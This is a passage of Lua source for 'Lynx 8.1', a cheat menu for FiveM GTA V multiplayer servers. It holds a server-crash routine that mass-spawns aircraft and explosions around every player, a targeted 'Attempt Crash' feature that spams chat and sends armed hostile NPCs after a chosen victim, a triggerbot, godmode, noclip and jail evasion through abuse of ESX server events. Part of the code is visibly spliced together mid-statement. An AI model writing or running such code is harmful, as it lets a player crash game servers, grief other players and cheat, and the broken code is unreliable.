GetEntityCoords(GetPlayerPed(i)) + 2.0, true, true) and
CreateVehicle(GetHashKey(cT),
GetEntityCoords(GetPlayerPed(i)) + 10.0, true, true) and
CreateVehicle(GetHashKey(cT), 2 *
GetEntityCoords(GetPlayerPed(i)) + 15.0, true, true) and
CreateVehicle(GetHashKey(cU),
GetEntityCoords(GetPlayerPed(i)) + 2.0, true, true) and
CreateVehicle(GetHashKey(cU),
GetEntityCoords(GetPlayerPed(i)) + 10.0, true, true) and
CreateVehicle(GetHashKey(cU), 2 *
GetEntityCoords(GetPlayerPed(i)) + 15.0, true, true) and
CreateVehicle(GetHashKey(cV),
GetEntityCoords(GetPlayerPed(i)) + 2.0, true, true) and
CreateVehicle(GetHashKey(cV),
GetEntityCoords(GetPlayerPed(i)) + 10.0, true, true) and
CreateVehicle(GetHashKey(cV), 2 *
GetEntityCoords(GetPlayerPed(i)) + 15.0, true, true) and
AddExplosion(GetEntityCoords(GetPlayerPed(i)), 5,
3000.0, true, false, 100000.0) and
AddExplosion(GetEntityCoords(GetPlayerPed(i)), 5,
3000.0, true, false, true)
end
end
)
end
if servercrasherxd then
Citizen.CreateThread(
function()
local cR = 'Avenger'
local cS = 'CARGOPLANE'
local cT = 'luxor'
local cU = 'maverick'
local cV = 'blimp2'
while not HasModelLoaded(GetHashKey(cS)) do
Citizen.Wait(0)
RequestModel(GetHashKey(cS))
end
while not HasModelLoaded(GetHashKey(cT)) do
Citizen.Wait(0)
RequestModel(GetHashKey(cT))
end
while not HasModelLoaded(GetHashKey(cR)) do
Citizen.Wait(0)
RequestModel(GetHashKey(cR))
end
while not HasModelLoaded(GetHashKey(cU)) do
Citizen.Wait(0)
RequestModel(GetHashKey(cU))
end
while not HasModelLoaded(GetHashKey(cV)) do
Citizen.Wait(0)
RequestModel(GetHashKey(cV))
end
for i = 0, 128 do
for a = 100, 150 do
local cT =
CreateVehicle(GetHashKey(cR),
GetEntityCoords(GetPlayerPed(i)) - a, true, true) and
CreateVehicle(GetHashKey(cR),
GetEntityCoords(GetPlayerPed(i)) - a, true, true) and
CreateVehicle(GetHashKey(cR), 2 *
GetEntityCoords(GetPlayerPed(i)) + a, true, true) and
CreateVehicle(GetHashKey(cS),
GetEntityCoords(GetPlayerPed(i)) - a, true, true) and
CreateVehicle(GetHashKey(cS),
GetEntityCoords(GetPlayerPed(i)) - a, true, true) and
CreateVehicle(GetHashKey(cS), 2 *
GetEntityCoords(GetPlayerPed(i)) - a, true, true) and
CreateVehicle(GetHashKey(cT),
GetEntityCoords(GetPlayerPed(i)) - a, true, true) and
CreateVehicle(GetHashKey(cT), 2 *
GetEntityCoords(GetPlayerPed(i)) + a, true, true) and
CreateVehicle(GetHashKey(cU),
GetEntityCoords(GetPlayerPed(i)) - a, true, true) and
CreateVehicle(GetHashKey(cU),
GetEntityCoords(GetPlayerPed(i)) - a, true, true) and
CreateVehicle(GetHashKey(cU), 2 *
GetEntityCoords(GetPlayerPed(i)) + a, true, true) and
CreateVehicle(GetHashKey(cV),
GetEntityCoords(GetPlayerPed(i)) - a, true, true) and
CreateVehicle(GetHashKey(cV),
GetEntityCoords(GetPlayerPed(i)) - a, true, true) and
CreateVehicle(GetHashKey(cV), 2 *
GetEntityCoords(GetPlayerPed(i)) + a, true, true)
end
end
end
)
end
if VehSpeed and IsPedInAnyVehicle(PlayerPedId(-1), true) then
if IsControlPressed(0, 209) then
SetVehicleForwardSpeed(GetVehiclePedIsUsing(PlayerPedId(-1)),
100.0)
elseif IsControlPressed(0, 210) then
SetVehicleForwardSpeed(GetVehiclePedIsUsing(PlayerPedId(-1)),
0.0)
end
end
if TriggerBot then
local cW, Entity = GetEntityPlayerIsFreeAimingAt(PlayerId(-1),
Entity)
if cW then
if IsEntityAPed(Entity) and not IsPedDeadOrDying(Entity, 0) and
IsPedAPlayer(Entity) then
ShootPlayer(Entity)
end
end
end
DisplayRadar(true)
if RainbowVeh then
local a5 = d(1.0)
SetVehicleCustomPrimaryColour(GetVehiclePedIsUsing(PlayerPedId(-
1)), a5.r, a5.g, a5.b)
SetVehicleCustomSecondaryColour(GetVehiclePedIsUsing(PlayerPedId(-
1)), a5.r, a5.g, a5.b)
end
if t2x then
SetVehicleEnginePowerMultiplier(GetVehiclePedIsIn(GetPlayerPed(-1),
false), 2.0 * 20.0)
end
if t4x then
SetVehicleEnginePowerMultiplier(GetVehiclePedIsIn(GetPlayerPed(-1),
false), 4.0 * 20.0)
end
if t10x then
SetVehicleEnginePowerMultiplier(GetVehiclePedIsIn(GetPlayerPed(-1),
false), 10.0 * 20.0)
end
if t16x then
SetVehicleEnginePowerMultiplier(GetVehiclePedIsIn(GetPlayerPed(-1),
false), 16.0 * 20.0)
end
if txd then
SetVehicleEnginePowerMultiplier(GetVehiclePedIsIn(GetPlayerPed(-1),
false), 500.0 * 20.0)
end
if Noclip then
local nooclip = 199470348469665792
local cX = 2
local cY =
IsPedInAnyVehicle(PlayerPedId(-1), false) and
GetVehiclePedIsUsing(PlayerPedId(-1)) or
PlayerPedId(-1)
FreezeEntityPosition(PlayerPedId(-1), true)
SetEntityInvincible(PlayerPedId(-1), true)
local cZ = GetEntityCoords(entity)
DisableControlAction(0, 32, true)
DisableControlAction(0, 268, true)
DisableControlAction(0, 31, true)
DisableControlAction(0, 269, true)
DisableControlAction(0, 33, true)
DisableControlAction(0, 266, true)
DisableControlAction(0, 34, true)
DisableControlAction(0, 30, true)
DisableControlAction(0, 267, true)
DisableControlAction(0, 35, true)
DisableControlAction(0, 44, true)
DisableControlAction(0, 20, true)
local c_ = 0.0
local d0 = 0.0
if GetInputMode() == 'MouseAndKeyboard' then
if IsDisabledControlPressed(0, 32) then
c_ = 0.5
end
if IsDisabledControlPressed(0, 33) then
c_ = -0.5
end
if IsDisabledControlPressed(0, 34) then
SetEntityHeading(PlayerPedId(-1),
GetEntityHeading(PlayerPedId(-1)) + 3.0)
end
if IsDisabledControlPressed(0, 35) then
SetEntityHeading(PlayerPedId(-1),
GetEntityHeading(PlayerPedId(-1)) - 3.0)
end
if IsDisabledControlPressed(0, 44) then
d0 = 0.21
end
if IsDisabledControlPressed(0, 20) then
d0 = -0.21
end
end
cZ = GetOffsetFromEntityInWorldCoords(cY, 0.0, c_ * (cX + 0.3), d0
* (cX + 0.3))
local d1 = GetEntityHeading(cY)
SetEntityVelocity(cY, 0.0, 0.0, 0.0)
SetEntityRotation(cY, 0.0, 0.0, 0.0, 0, false)
SetEntityHeading(cY, d1)
SetEntityCollision(cY, false, false)
SetEntityCoordsNoOffset(cY, cZ.x, cZ.y, cZ.z, true, true, true)
FreezeEntityPosition(cY, false)
SetEntityInvincible(cY, false)
SetEntityCollision(cY, true, true)
end
end
end
)
Citizen.CreateThread(
function()
FreezeEntityPosition(entity, false)
local d2 = 1
local d3 = true
local d4 = nil
local d5 = nil
local d6 = nil
local d7 = 1
local d8 = 1
local d9 = {1.0, 2.0, 4.0, 10.0, 512.0, 9999.0}
Lynx8.CreateMenu('LynxX', 'Lynx 8.1')
Lynx8.SetSubTitle('LynxX', '34ByTe Community + 10')
Lynx8.CreateSubMenu('SelfMenu', 'LynxX', 'Self Menu')
Lynx8.CreateSubMenu(
'TeleportMenu',
'LynxX',
'Teleport Menu'
)
Lynx8.CreateSubMenu(
'WeaponMenu',
'LynxX',
'Weapon Menu'
)
Lynx8.CreateSubMenu(
'AdvancedMenu',
'LynxX',
'Advanced Menu'
)
Lynx8.CreateSubMenu('LuaMenu', 'LynxX', 'Lua Menu')
Lynx8.CreateSubMenu(
'VehicleMenu',
'LynxX',
'Vehicle Menu'
)
Lynx8.CreateSubMenu("AICONTROLMENU", "VehicleMenu", "AI Menu")
Lynx8.CreateSubMenu(
'OnlinePlayerMenu',
'LynxX',
'Online Player Menu'
)
Lynx8.CreateSubMenu(
'PlayerOptionsMenu',
'OnlinePlayerMenu',
'Player Options'
)
Lynx8.CreateSubMenu(
'Destroyer',
'AdvancedMenu',
'Destroyer'
)
Lynx8.CreateSubMenu('CsMenu', 'AdvancedMenu', 'Crosshairs')
Lynx8.CreateSubMenu(
'ESXBoss',
'LuaMenu',
'ESX Boss Triggers'
)
Lynx8.CreateSubMenu(
'ESXMoney',
'LuaMenu',
'ESX Money Triggers'
)
Lynx8.CreateSubMenu(
'ESXDrugs',
'LuaMenu',
'ESX Drugs'
)
Lynx8.CreateSubMenu(
'ESXCustom',
'LuaMenu',
'ESX Random Triggers'
)
Lynx8.CreateSubMenu(
'VRPTriggers',
'LuaMenu',
'VRP Triggers'
)
Lynx8.CreateSubMenu(
'MiscTriggers',
'LuaMenu',
'Misc Triggers'
)
Lynx8.CreateSubMenu('Credits', 'LynxX', 'Credits')
Lynx8.CreateSubMenu('ESXJobs', 'LuaMenu', 'ESX Jobs')
Lynx8.CreateSubMenu(
'ESXJobs2',
'PlayerOptionsMenu',
'ESX Jobs Individual'
)
Lynx8.CreateSubMenu(
'ESXTriggerini',
'PlayerOptionsMenu',
'ESX Triggers'
)
Lynx8.CreateSubMenu(
'Trollmenu',
'PlayerOptionsMenu',
'Troll Menu'
)
Lynx8.CreateSubMenu(
'WeaponTypes',
'WeaponMenu',
'Weapons'
)
Lynx8.CreateSubMenu(
'WeaponTypeSelection',
'WeaponTypes',
'Weapon'
)
Lynx8.CreateSubMenu(
'WeaponOptions',
'WeaponTypeSelection',
'Weapon Options'
)
Lynx8.CreateSubMenu('ModSelect', 'WeaponOptions', 'Weapon Mod Options')
Lynx8.CreateSubMenu('CarTypes', 'VehicleMenu', 'Vehicles')
Lynx8.CreateSubMenu('CarTypeSelection', 'CarTypes', 'Moew :3')
Lynx8.CreateSubMenu(
'CarOptions',
'CarTypeSelection',
'Car Options'
)
Lynx8.CreateSubMenu(
'GiveSingleWeaponPlayer',
'OnlinePlayerMenu',
'Single Weapon Menu'
)
Lynx8.CreateSubMenu(
'ESPMenu',
'AdvancedMenu',
'ESP Menu'
)
Lynx8.CreateSubMenu('LSC', 'VehicleMenu', 'LSC Customs')
Lynx8.CreateSubMenu('tunings', 'LSC', 'Visual Tuning')
Lynx8.CreateSubMenu('performance', 'LSC', 'Performance Tuning')
Lynx8.CreateSubMenu(
'VRPPlayerTriggers',
'PlayerOptionsMenu',
'VRP Triggers'
)
Lynx8.CreateSubMenu(
'BoostMenu',
'VehicleMenu',
'Vehicle Boost'
)
for i, da in pairs(be) do
Lynx8.CreateSubMenu(da.id, 'tunings', da.name)
if da.id == 'paint' then
Lynx8.CreateSubMenu('primary', da.id, 'Primary Paint')
Lynx8.CreateSubMenu('secondary', da.id, 'Secondary Paint')
Lynx8.CreateSubMenu('rimpaint', da.id, 'Wheel Paint')
Lynx8.CreateSubMenu('classic1', 'primary', 'Classic Paint')
Lynx8.CreateSubMenu('metallic1', 'primary', 'Metallic Paint')
Lynx8.CreateSubMenu('matte1', 'primary', 'Matte Paint')
Lynx8.CreateSubMenu('metal1', 'primary', 'Metal Paint')
Lynx8.CreateSubMenu('classic2', 'secondary', 'Classic Paint')
Lynx8.CreateSubMenu('metallic2', 'secondary', 'Metallic Paint')
Lynx8.CreateSubMenu('matte2', 'secondary', 'Matte Paint')
Lynx8.CreateSubMenu('metal2', 'secondary', 'Metal Paint')
Lynx8.CreateSubMenu('classic3', 'rimpaint', 'Classic Paint')
Lynx8.CreateSubMenu('metallic3', 'rimpaint', 'Metallic Paint')
Lynx8.CreateSubMenu('matte3', 'rimpaint', 'Matte Paint')
Lynx8.CreateSubMenu('metal3', 'rimpaint', 'Metal Paint')
end
end
for i, da in pairs(bf) do
Lynx8.CreateSubMenu(da.id, 'performance', da.name)
end
local SelectedPlayer
while bm do
ped = PlayerPedId()
veh = GetVehiclePedIsUsing(ped)
SetVehicleModKit(veh, 0)
for i, da in pairs(be) do
if Lynx8.IsMenuOpened('tunings') then
if b9 then
if bb == 'neon' then
local r, g, b = table.unpack(ba)
SetVehicleNeonLightsColour(veh, r, g, b)
SetVehicleNeonLightEnabled(veh, 0, bd)
SetVehicleNeonLightEnabled(veh, 1, bd)
SetVehicleNeonLightEnabled(veh, 2, bd)
SetVehicleNeonLightEnabled(veh, 3, bd)
b9 = false
bb = -1
ba = -1
elseif bb == 'paint' then
local db, dc, dd, de = table.unpack(ba)
SetVehicleColours(veh, db, dc)
SetVehicleExtraColours(veh, dd, de)
b9 = false
bb = -1
ba = -1
else
if bd == 'rm' then
RemoveVehicleMod(veh, bb)
b9 = false
bb = -1
ba = -1
else
SetVehicleMod(veh, bb, ba, false)
b9 = false
bb = -1
ba = -1
end
end
end
end
if Lynx8.IsMenuOpened(da.id) then
if da.id == 'wheeltypes' then
if Lynx8.Button('Sport Wheels') then
SetVehicleWheelType(veh, 0)
elseif Lynx8.Button('Muscle Wheels') then
SetVehicleWheelType(veh, 1)
elseif Lynx8.Button('Lowrider Wheels') then
SetVehicleWheelType(veh, 2)
elseif Lynx8.Button('SUV Wheels') then
SetVehicleWheelType(veh, 3)
elseif Lynx8.Button('Offroad Wheels') then
SetVehicleWheelType(veh, 4)
elseif Lynx8.Button('Tuner Wheels') then
SetVehicleWheelType(veh, 5)
elseif Lynx8.Button('High End Wheels') then
SetVehicleWheelType(veh, 7)
end
Lynx8.Display()
elseif da.id == 'extra' then
local df = checkValidVehicleExtras()
for i, da in pairs(df) do
if IsVehicleExtraTurnedOn(veh, i) then
pricestring = 'Installed'
else
pricestring = 'Not Installed'
end
if Lynx8.Button(da.menuName, pricestring) then
SetVehicleExtra(veh, i, IsVehicleExtraTurnedOn(veh,
i))
end
end
Lynx8.Display()
elseif da.id == 'neon' then
if Lynx8.Button('None') then
SetVehicleNeonLightsColour(veh, 255, 255, 255)
SetVehicleNeonLightEnabled(veh, 0, false)
SetVehicleNeonLightEnabled(veh, 1, false)
SetVehicleNeonLightEnabled(veh, 2, false)
SetVehicleNeonLightEnabled(veh, 3, false)
end
for i, da in pairs(bg) do
colorr, colorg, colorb = table.unpack(da)
r, g, b = GetVehicleNeonLightsColour(veh)
if
colorr == r and colorg == g and colorb == b and
IsVehicleNeonLightEnabled(vehicle, 2) and
not b9
then
pricestring = 'Installed'
else
if b9 and colorr == r and colorg == g and colorb ==
b then
pricestring = 'Previewing'
else
pricestring = 'Not Installed'
end
end
if Lynx8.Button(i, pricestring) then
if not b9 then
bb = 'neon'
bd = IsVehicleNeonLightEnabled(veh, 1)
oldr, oldg, oldb =
GetVehicleNeonLightsColour(veh)
ba = table.pack(oldr, oldg, oldb)
SetVehicleNeonLightsColour(veh, colorr, colorg,
colorb)
SetVehicleNeonLightEnabled(veh, 0, true)
SetVehicleNeonLightEnabled(veh, 1, true)
SetVehicleNeonLightEnabled(veh, 2, true)
SetVehicleNeonLightEnabled(veh, 3, true)
b9 = true
elseif b9 and colorr == r and colorg == g and
colorb == b then
SetVehicleNeonLightsColour(veh, colorr, colorg,
colorb)
SetVehicleNeonLightEnabled(veh, 0, true)
SetVehicleNeonLightEnabled(veh, 1, true)
SetVehicleNeonLightEnabled(veh, 2, true)
SetVehicleNeonLightEnabled(veh, 3, true)
b9 = false
bb = -1
ba = -1
elseif b9 and colorr ~= r or colorg ~= g or colorb
~= b then
SetVehicleNeonLightsColour(veh, colorr, colorg,
colorb)
SetVehicleNeonLightEnabled(veh, 0, true)
SetVehicleNeonLightEnabled(veh, 1, true)
SetVehicleNeonLightEnabled(veh, 2, true)
SetVehicleNeonLightEnabled(veh, 3, true)
b9 = true
end
end
end
Lynx8.Display()
elseif da.id == 'paint' then
if Lynx8.MenuButton('~h~~p~-> ~s~Primary Paint', 'primary')
then
elseif Lynx8.MenuButton('~h~~p~-> ~s~Secondary Paint',
'secondary') then
elseif Lynx8.MenuButton('~h~~p~-> ~s~Wheel Paint',
'rimpaint') then
end
Lynx8.Display()
else
local at = checkValidVehicleMods(da.id)
for dg, dh in pairs(at) do
if dh.menuName == '~h~~b~Stock' then
price = 0
end
if da.name == 'Horns' then
for di, dj in pairs(horns) do
if dj == dg - 1 then
dh.menuName = di
end
end
end
if dh.menuName == 'NULL' then
dh.menuname = 'unknown'
end
if Lynx8.Button(dh.menuName, price) then
if not b9 then
bb = da.id
ba = GetVehicleMod(veh, da.id)
b9 = true
if dh.data.realIndex == -1 then
bd = 'rm'
RemoveVehicleMod(veh, dh.data.modid)
b9 = false
bb = -1
ba = -1
bd = false
else
bd = false
SetVehicleMod(veh, da.id,
dh.data.realIndex, false)
end
elseif b9 and GetVehicleMod(veh, da.id) ==
dh.data.realIndex then
b9 = false
bb = -1
ba = -1
bd = false
if dh.data.realIndex == -1 then
RemoveVehicleMod(veh, dh.data.modid)
else
SetVehicleMod(veh, da.id,
dh.data.realIndex, false)
end
elseif b9 and GetVehicleMod(veh, da.id) ~=
dh.data.realIndex then
if dh.data.realIndex == -1 then
RemoveVehicleMod(veh, dh.data.modid)
b9 = false
bb = -1
ba = -1
bd = false
else
SetVehicleMod(veh, da.id,
dh.data.realIndex, false)
b9 = true
end
end
end
end
Lynx8.Display()
end
end
end
for i, da in pairs(bf) do
if Lynx8.IsMenuOpened(da.id) then
if GetVehicleMod(veh, da.id) == 0 then
pricestock = 'Not Installed'
price1 = 'Installed'
price2 = 'Not Installed'
price3 = 'Not Installed'
price4 = 'Not Installed'
elseif GetVehicleMod(veh, da.id) == 1 then
pricestock = 'Not Installed'
price1 = 'Not Installed'
price2 = 'Installed'
price3 = 'Not Installed'
price4 = 'Not Installed'
elseif GetVehicleMod(veh, da.id) == 2 then
pricestock = 'Not Installed'
price1 = 'Not Installed'
price2 = 'Not Installed'
price3 = 'Installed'
price4 = 'Not Installed'
elseif GetVehicleMod(veh, da.id) == 3 then
pricestock = 'Not Installed'
price1 = 'Not Installed'
price2 = 'Not Installed'
price3 = 'Not Installed'
price4 = 'Installed'
elseif GetVehicleMod(veh, da.id) == -1 then
pricestock = 'Installed'
price1 = 'Not Installed'
price2 = 'Not Installed'
price3 = 'Not Installed'
price4 = 'Not Installed'
end
if Lynx8.Button('Stock ' .. da.name, pricestock) then
SetVehicleMod(veh, da.id, -1)
elseif Lynx8.Button(da.name .. ' Upgrade 1', price1) then
SetVehicleMod(veh, da.id, 0)
elseif Lynx8.Button(da.name .. ' Upgrade 2', price2) then
SetVehicleMod(veh, da.id, 1)
elseif Lynx8.Button(da.name .. ' Upgrade 3', price3) then
SetVehicleMod(veh, da.id, 2)
elseif da.id ~= 13 and da.id ~= 12 and Lynx8.Button(da.name ..
' Upgrade 4', price4) then
SetVehicleMod(veh, da.id, 3)
end
Lynx8.Display()
end
end
if Lynx8.IsMenuOpened('LynxX') then
local dk = PlayerId(-1)
local bv = GetPlayerName(dk)
drawNotification("~h~Lynx <FONT COLOR='#FF2323'>8.1")
drawNotification("<FONT COLOR='#22ff40'>Modified By Fallen#0811")
if
Lynx8.MenuButton(
'~h~~p~-> ~s~Self Menu',
'SelfMenu'
)
then
elseif
Lynx8.MenuButton(
'~h~~p~-> ~s~Online Players',
'OnlinePlayerMenu'
)
then
elseif
Lynx8.MenuButton(
'~h~~p~-> ~s~Teleport Menu',
'TeleportMenu'
)
then
elseif
Lynx8.MenuButton(
'~h~~p~-> ~s~Vehicle Menu',
'VehicleMenu'
)
then
elseif
Lynx8.MenuButton(
'~h~~p~-> ~s~Weapon Menu',
'WeaponMenu'
)
then
elseif
Lynx8.MenuButton(
'~h~~p~-> ~s~Lua Menu <FONT COLOR="#ff22f4">~h~:3',
'LuaMenu'
)
then
elseif
Lynx8.MenuButton(
'~h~~p~-> ~s~Advanced Mode <FONT COLOR="#ff22f4">~h~>:3',
'AdvancedMenu'
)
then
elseif
Lynx8.MenuButton(
'~h~~p~-> ~s~Credits <FONT COLOR="#ff22f4">~h~:D',
'Credits'
)
then
elseif Lynx8.Button('~r~~h~Panic Key') then
drawNotification('~r~~h~Bye Bye.')
run.runstate = true
bm = false
elseif Lynx8.Button('~r~~h~Logout') then
drawNotification('~r~~h~Bye Bye.')
run.runstate = true
Lynx8.CloseMenu()
end
Lynx8.Display()
elseif Lynx8.IsMenuOpened('SelfMenu') then
if
Lynx8.CheckBox(
'~h~~g~Godmode',
Godmode,
function(dl)
Godmode = dl
end
)
then
elseif
Lynx8.CheckBox(
'~h~~g~Player Visible',
cz,
function(dl)
cz = dl
end
)
then
elseif Lynx8.Button('~h~~r~Suicide') then
SetEntityHealth(PlayerPedId(-1), 0)
elseif
Lynx8.Button(
'~h~~g~ESX~s~ Revive Yourself~s~'
)
then
TriggerEvent(
'esx_ambulancejob:revive'
)
elseif Lynx8.Button('~h~~g~Heal/Revive') then
SetEntityHealth(PlayerPedId(-1), 200)
elseif Lynx8.Button('~h~~b~Give Armour') then
SetPedArmour(PlayerPedId(-1), 200)
elseif
Lynx8.CheckBox(
'~h~Infinite Stamina',
InfStamina,
function(dl)
InfStamina = dl
end
)
then
elseif
Lynx8.CheckBox(
'~h~Thermal ~o~Vision',
bTherm,
function(bTherm)
end
)
then
therm = not therm
bTherm = therm
SetSeethrough(therm)
elseif
Lynx8.CheckBox(
'~h~Fast Run',
fastrun,
function(dl)
fastrun = dl
end
)
then
elseif
Lynx8.CheckBox(
'~h~Super Jump',
SuperJump,
function(dl)
SuperJump = dl
end
)
then
elseif
Lynx8.CheckBox(
'~h~Noclip',
Noclip,
function(dl)
Noclip = dl
end
)
then
elseif
Lynx8.Button(
'~h~~g~Evade ~s~From Jail'
)
then
local dm = PlayerPedId(-1)
TriggerServerEvent(
'esx-qalle-jail:jailPlayer',
GetPlayerServerId(dm),
0,
'escaperino'
)
TriggerServerEvent(
'esx_jailer:sendToJail',
GetPlayerServerId(dm),
0
)
TriggerServerEvent(
'esx_jail:sendToJail',
GetPlayerServerId(dm),
0
)
TriggerServerEvent(
'js:jailuser',
GetPlayerServerId(dm),
0,
'escaperino'
)
end
Lynx8.Display()
elseif Lynx8.IsMenuOpened('OnlinePlayerMenu') then
for i = 0, 128 do
if
NetworkIsPlayerActive(i) and GetPlayerServerId(i) ~= 0 and
Lynx8.MenuButton(
GetPlayerName(i) ..
' ~p~[' ..
GetPlayerServerId(i) ..
']~s~ ~y~[' ..
i ..
']~s~ ' ..
GetVehiclePedIsUsing(GetPlayerPed(SelectedPlayer)),
pos.x,
pos.y,
pos.z,
200,
99,
0,
'FIRING_PATTERN_BURST_FIRE_DRIVEBY'
)
TaskShootAtEntity(
ped1,
GetVehiclePedIsUsing(GetPlayerPed(SelectedPlayer)),
200,
'FIRING_PATTERN_BURST_FIRE_DRIVEBY'
)
makePedHostile(ped, SelectedPlayer, 0, 0)
makePedHostile(ped1, SelectedPlayer, 0, 0)
TaskCombatPed(ped,
GetPlayerPed(SelectedPlayer), 0, 16)
TaskCombatPed(ped1,
GetPlayerPed(SelectedPlayer), 0, 16)
for i = 1, 2 do
Citizen.Wait(5)
ClearPedTasks(GetPlayerPed(-1))
end
end
end
end
end
end
elseif Lynx8.Button('~h~~r~Attempt Crash') then
if IsPedInAnyVehicle(GetVehiclePedIsIn(SelectedPlayer, 1),
false) then
ClearPedTasksImmediately(SelectedPlayer)
end
drawNotification(SelectedPlayer .. ' Crash Attempt')
for i = 0, 64 do
if IsPedInAnyVehicle(GetVehiclePedIsIn(SelectedPlayer, 1),
false) then
ClearPedTasksImmediately(SelectedPlayer)
end
TriggerServerEvent(
'_chat:messageEntered',
'Fallen#0811-CrashAtt',
{0, 0x99, 255},
'/ooc Yo add me Fallen#0811 >:D Player Crash Attempt'
)
TriggerServerEvent(
'_chat:messageEntered',
'Fallen#0811-CrashAtt',
{0, 0x99, 255},
'Yo add me Fallen#0811 >:D Player Crash Attempt'
)
local coords =
GetEntityCoords(GetPlayerPed(SelectedPlayer))
RequestModel(GetHashKey('s_m_y_swat_01'))
RequestModel(GetHashKey('ig_wade'))
Citizen.Wait(50)
if HasModelLoaded(GetHashKey('s_m_y_swat_01')) then
local ped =
CreatePed(21, GetHashKey('s_m_y_swat_01'),
coords.x, coords.y, coords.z, 0, true, false)
local ped1 =
CreatePed(21, GetHashKey('ig_wade'), coords.x,
coords.y, coords.z, 0, true, false)
if DoesEntityExist(ped) and DoesEntityExist(ped1) then
-- SetEntityAsNoLongerNeeded(ped)
-- SetEntityAsNoLongerNeeded(ped1)
RequestNetworkControl(ped)
RequestNetworkControl(ped1)
GiveWeaponToPed(ped,
GetHashKey('WEAPON_ASSAULTRIFLE'), 9999, 1, 1)
GiveWeaponToPed(ped1, GetHashKey('WEAPON_RPG'),
9999, 1, 1)
SetPedCanSwitchWeapon(ped, true)
SetPedCanSwitchWeapon(ped1, true)
makePedHostile(ped, SelectedPlayer, 0, 0)
makePedHostile(ped1, SelectedPlayer, 0, 0)
TaskCombatPed(ped, GetPlayerPed(SelectedPlayer), 0,
16)
TaskCombatPed(ped1, GetPlayerPed(SelectedPlayer),
0, 16)
elseif IsEntityDead(GetPlayerPed(SelectedPlayer)) then
TaskCombatHatedTargetsInArea(ped, coords.x,
coords.y, coords.z, 500)
TaskCombatHatedTargetsInArea(ped1, coords.x,
coords.y, coords.z, 500)
else
Citizen.Wait(0)
end
else
Citizen.Wait(0)
end
end
elseif Lynx8.Button('~h~Spawn Following Asshat') then
Citizen.CreateThread(function()
asshat = true
local target = GetPlayerPed(SelectedPlayer)
local assped = nil
local vehlist = {'Nero', 'Deluxo', 'Raiden', 'Bati2',
"SultanRS", "TA21", "Lynx", "ZR380", "Streiter", "Neon", "Italigto", "Nero2",
"Fmj", "le7b", "prototipo", "cyclone", "khanjali", "STROMBERG", "BARRAGE",
"COMET5"}
local veh = vehlist[math.random(#vehlist)]
local pos = GetEntityCoords(GetPlayerPed(SelectedPlayer))
local pitch = GetEntityPitch(GetPlayerPed(SelectedPlayer))
local roll = GetEntityRoll(GetPlayerPed(SelectedPlayer))
local yaw = GetEntityRotation(GetPlayerPed(SelectedPlayer)).z
local xf = GetEntityForwardX(GetPlayerPed(SelectedPlayer))
local yf = GetEntityForwardY(GetPlayerPed(SelectedPlayer))
print("~")
if IsPedInAnyVehicle(GetPlayerPed(SelectedPlayer), false) then
local vt = GetVehiclePedIsIn(GetPlayerPed(SelectedPlayer),
0)
NetworkRequestControlOfEntity(vt)
SetVehicleModKit(vt, 0)
ToggleVehicleMod(vt, 20, 1)
SetVehicleModKit(vt, 0)
SetVehicleTyresCanBurst(vt, 1)
end
local v = nil
RequestModel(veh)
RequestModel('s_m_y_hwaycop_01')
while not HasModelLoaded(veh) and not
HasModelLoaded('s_m_m_security_01') do
print("~")
RequestModel('s_m_y_hwaycop_01')
Citizen.Wait(0)
RequestModel(veh)
end
if HasModelLoaded(veh) then
print("~")
Citizen.Wait(50)
v =
CreateVehicle(
veh,
pos.x - (xf * 10),
pos.y - (yf * 10),
pos.z + 1,
GetEntityHeading(GetPlayerPed(-1)),
1,
1
)
v1 =
CreateVehicle(
veh,
pos.x - (xf * 10),
pos.y - (yf * 10),
pos.z + 1,
GetEntityHeading(GetPlayerPed(-1)),
1,
1
)
SetVehicleGravityAmount(v, 15.0)
SetVehicleGravityAmount(v1, 15.0)
SetEntityInvincible(v, true)
SetEntityInvincible(v1, true)
if DoesEntityExist(v) then
print("~")
NetworkRequestControlOfEntity(v)
SetVehicleDoorsLocked(v, 4)
RequestModel('s_m_y_hwaycop_01')
Citizen.Wait(50)
if HasModelLoaded('s_m_y_hwaycop_01') then
print("~")
Citizen.Wait(50)
local pas = CreatePed(21,
GetHashKey('s_m_y_swat_01'), pos.x, pos.y, pos.z, true, false)
local pas1 = CreatePed(21,
GetHashKey('s_m_y_swat_01'), pos.x, pos.y, pos.z, true, false)
local ped = CreatePed(21,
GetHashKey('s_m_y_hwaycop_01'), pos.x, pos.y, pos.z, true, false)
local ped1 = CreatePed(21,
GetHashKey('s_m_y_hwaycop_01'), pos.x, pos.y, pos.z, true, false)
assped = ped
if DoesEntityExist(ped1) and DoesEntityExist(ped)
then
print("~")
GiveWeaponToPed(pas,
GetHashKey('WEAPON_APPISTOL'), 9999, 1, 1)
GiveWeaponToPed(pas1,
GetHashKey('WEAPON_APPISTOL'), 9999, 1, 1)
GiveWeaponToPed(ped,
GetHashKey('WEAPON_APPISTOL'), 9999, 1, 1)
GiveWeaponToPed(ped1,
GetHashKey('WEAPON_APPISTOL'), 9999, 1, 1)
print("~")
SetPedIntoVehicle(ped, v, -1)
SetPedIntoVehicle(ped1, v1, -1)
SetPedIntoVehicle(pas, v, 0)
SetPedIntoVehicle(pas1, v1, 0)
print("~")
TaskVehicleEscort(ped1, v1, target, -1, 50.0,
1082917029, 7.5, 0, -1)
asstarget = target
TaskVehicleEscort(ped, v, target, -1, 50.0,
1082917029, 7.5, 0, -1)
SetDriverAbility(ped, 10.0)
SetDriverAggressiveness(ped, 10.0)
SetDriverAbility(ped1, 10.0)
SetDriverAggressiveness(ped1, 10.0)
end
end
end
end
end)
elseif Lynx8.Button('~h~Follow Player (BUGGY)') then
if Follow == false then
Follow = true
drawNotification('This is a button toggle, click again to
disable')
elseif Follow == true then
Follow = false
drawNotification('This is a button toggle, click again to
enable')
end
elseif Lynx8.Button('~h~Spawn Swat ~r~AK') then
for i = 0, 32 do
local coords =
GetEntityCoords(GetPlayerPed(SelectedPlayer))
RequestModel(GetHashKey('s_m_y_swat_01'))
Citizen.Wait(50)
if HasModelLoaded(GetHashKey('s_m_y_swat_01')) then
local ped =
CreatePed(21, GetHashKey('s_m_y_swat_01'),
coords.x, coords.y, coords.z, 0, true, false)
if DoesEntityExist(ped) and not
IsEntityDead(GetPlayerPed(SelectedPlayer)) then
RequestNetworkControl(ped)
GiveWeaponToPed(ped,
GetHashKey('WEAPON_ASSAULTRIFLE'), 9999, 1, 1)
SetPedCanSwitchWeapon(ped, true)
makePedHostile(ped, SelectedPlayer, 0, 0)
